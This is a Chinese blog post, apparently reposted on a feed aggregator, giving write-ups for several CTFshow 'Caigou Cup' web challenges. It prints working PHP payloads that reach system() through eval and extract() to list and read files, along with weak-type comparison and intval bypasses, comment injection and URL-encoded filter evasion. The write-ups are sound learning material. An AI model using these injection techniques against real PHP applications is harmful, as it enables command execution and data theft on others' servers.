惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

S
Schneier on Security
有赞技术团队
有赞技术团队
T
The Blog of Author Tim Ferriss
F
Fortinet All Blogs
D
DataBreaches.Net
F
Full Disclosure
腾讯CDC
博客园 - 【当耐特】
MyScale Blog
MyScale Blog
Stack Overflow Blog
Stack Overflow Blog
小众软件
小众软件
Hugging Face - Blog
Hugging Face - Blog
Last Week in AI
Last Week in AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
爱范儿
爱范儿
The GitHub Blog
The GitHub Blog
Engineering at Meta
Engineering at Meta
大猫的无限游戏
大猫的无限游戏
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
S
SegmentFault 最新的问题
The Register - Security
The Register - Security
WordPress大学
WordPress大学
博客园 - 聂微东
雷峰网
雷峰网
J
Java Code Geeks
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
P
Privacy International News Feed
酷 壳 – CoolShell
酷 壳 – CoolShell
A
Arctic Wolf
Scott Helme
Scott Helme
C
Cyber Attacks, Cyber Crime and Cyber Security
T
Tor Project blog
博客园 - 三生石上(FineUI控件)
Know Your Adversary
Know Your Adversary
AWS News Blog
AWS News Blog
G
Google Developers Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
C
CERT Recently Published Vulnerability Notes
O
OpenAI News
Project Zero
Project Zero
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Application and Cybersecurity Blog
Application and Cybersecurity Blog
云风的 BLOG
云风的 BLOG
N
News and Events Feed by Topic
MongoDB | Blog
MongoDB | Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Microsoft Security Blog
Microsoft Security Blog
Cisco Talos Blog
Cisco Talos Blog
P
Palo Alto Networks Blog
Schneier on Security
Schneier on Security

龙辉's Blog - Tinker-站长

对学某通的登录逆向分析 - 龙辉's Blog 天方云签程序开源 - 龙辉's Blog 蓝桥杯省赛Web题解及知识点复习 - 龙辉's Blog 记录一次入侵某钓鱼盗号网站的过程 - 龙辉's Blog 贵州师范大学抢课脚本-正方教务系统V8.0.0 - 龙辉's Blog 简单实现每日健康自动打卡 - 龙辉's Blog 弱类型与强类型语言“=”号的不同以及引发的安全问题 - 龙辉's Blog php获取客户端ip以及ip伪造 - 龙辉's Blog XSS经典漏洞复现-手撕某非法获取个人信息网站 - 龙辉's Blog
CTFSHOW-菜狗杯(部分WP) - 龙辉's Blog
博主: Tinker-站长 · 2024-05-21 · via 龙辉's Blog - Tinker-站长

目录

##1. 签到题
##2. web2 c0me_t0_s1gn
##3. 我的眼里只有$
##4. 一言既出
##5. 驷马难追
##6. 化零为整
##7. 无一幸免
##8. 传说之下(雾)

这是做的部分ctf题题解,仅为方便自己学习记录,欢迎大家交流补充~

0x01 签到题

打开题目,给我们的是源代码,通过阅读代码,这就是一个通过外部构造系统命令执行的一个漏洞,通过这几个函数套娃,最终用eval函数把字符串当作php代码执行。
sign.png
我们根据代码写payload,(注意,中文请先进行url编码)
2.png

    ?b=c&c[6][0][7][3][8][0][9][4][4]=system("ls%20/");
    post:a=b
    cookie:CTFshow-QQ群:=a
    /*
    解释一下,源代码为$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]],
    通过构造之后变成$_REQUEST[[$_GET[$_POST['a']]]->$_REQUEST[[$_GET['b']]->$_REQUEST['c']->system("ls%20/");
    php中$_REQUEST函数支持get和post方法,所以两种都可以
    通过调用linux命令ls /,获取根目录下有哪些文件,发现 f1agaaa,读取这个文件,获得flag
最终payload:
    ?b=c&c[6][0][7][5][8][0][9][6][4]=system("cat /f1agaaa");
    post:a=b
    cookie:CTFshow-QQ群:=a
    */

3.png

0x02 web2 c0me_t0_s1gn

4.png
打开题目,就让我们找找看能不能发现什么,先是右键打开网页源代码后发现部分flag和提示,打开控制台,控制台提示执行这个函数就能获得flag,执行之后成功获得后半部分flag,拼接之后就是完整的flag,又是一道签到题。
5.png
6.png

0x03 我的眼里只有$

7.png
这道题和第一道题有点像,又是一个套娃题。不过这里用了一个extract($_POST),这个函数的作用就是将数组中的索引和值用变量来表示,例如

extract(['a'=>1])
等价于 $a=1

35个$符,a-z都不够用啊,构造这个花了我挺长时间。构造完了才想起来写一个循环完事的事情...
最终的payload:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=ab&ab=cd&cd=ef&ef=fg&fg=hi&hi=jk&jk=lm&lm=no&no=pq&pq=system("cat /f1agaaa");

0x04 一言既出

9.png
通过代码审计,这道题考的就是弱类型语言数值的比较
这里复习一下知识点
<?php
echo '1'==1;//true (在两个等号条件下,字符串1和数字1相等,比较方式是将字符串换成整型后比较)
echo '1abcd'==1;//true (是不是很神奇,在进行字符串隐式转换为整型时遇到非数字{小数点除外}就终止)经过测试,在最新版本的php8返回false
echo '11+1'==11; //true
//intval()函数把数字字符串转成整型数字
intval('678abc")//678
intval('6+7');//13
所以可以通过
构造payload:/?num=114514%2B1919810-114514
注意:只要是特殊字符在url传参都需要通过url编码
另一种思路:就是加注释把后面的代码注释掉,前面部分代码形成闭合,就执行不了die()函数了。
payload:/?num=11451");//

0x05 驷马难追

和上一题差不多,但是多了一个正则验证,但是加号和减号并没有在规则里面。
所以构造

payload:/?num=114514%2B1919810-114514

即可获得flag
10.png

0x06 化零为整

11.png

题目分析:如果输入的是"大牛"就可以输出答案,很明显,要绕过上面的if语句.
在utf-8编码中,一个中文为三个字节,而判断的if语句超过两个字节就不可以,所以把一个中文拆成三个单独的字节就行了
然后使用的是从1开始的for循环进行拼接,因此对中文进行url编码之后使用数字为变量就行

最终构造的payload如下

    /?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
http://ca01914c-5bf6-49d7-a4bc-45fc0a0c702b.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

0x07 无一幸免

12.png

这道题比前面的签到题还简单,首先判断是否存在 0参数,只要能进入if语句就能输出flag了,这个if语句判断的内容是一个赋值语句,所以随便传什么都会返回true
最终payload

?0=0
http://034ee1fe-cc46-4d19-8fdc-91184301f8df.challenge.ctf.show/?0=0

0x08 传说之下(雾)

打开是一个贪吃蛇游戏
13.png

根据这里的提示可知,吃到2077个苹果即可获得flag,当然了,你要是想慢慢玩这个游戏,吃到2077个,也是没问题的。最快的办法就是直接篡改数据。
分析网页源代码,只发现一个js文件,进入js文件分析。该游戏的分数,由Game函数的score属性控制,并且把Game属性挂载到window对象中,所以直接在控制台执行
执行之后开始一下游戏即可输出flag。
Game.score=2088

目前只做了几道题来进行学习和练习,好久没更新文章了,记录一下解题步骤方便自己之后复习。


版权属于:龙辉博客

本文链接:https://blog.eirds.cn/441.html

如果没有特别声明则为本博原创。转载时须注明出处及本声明!

赞赏作者

如果觉得我的文章对你有用,请随意赞赏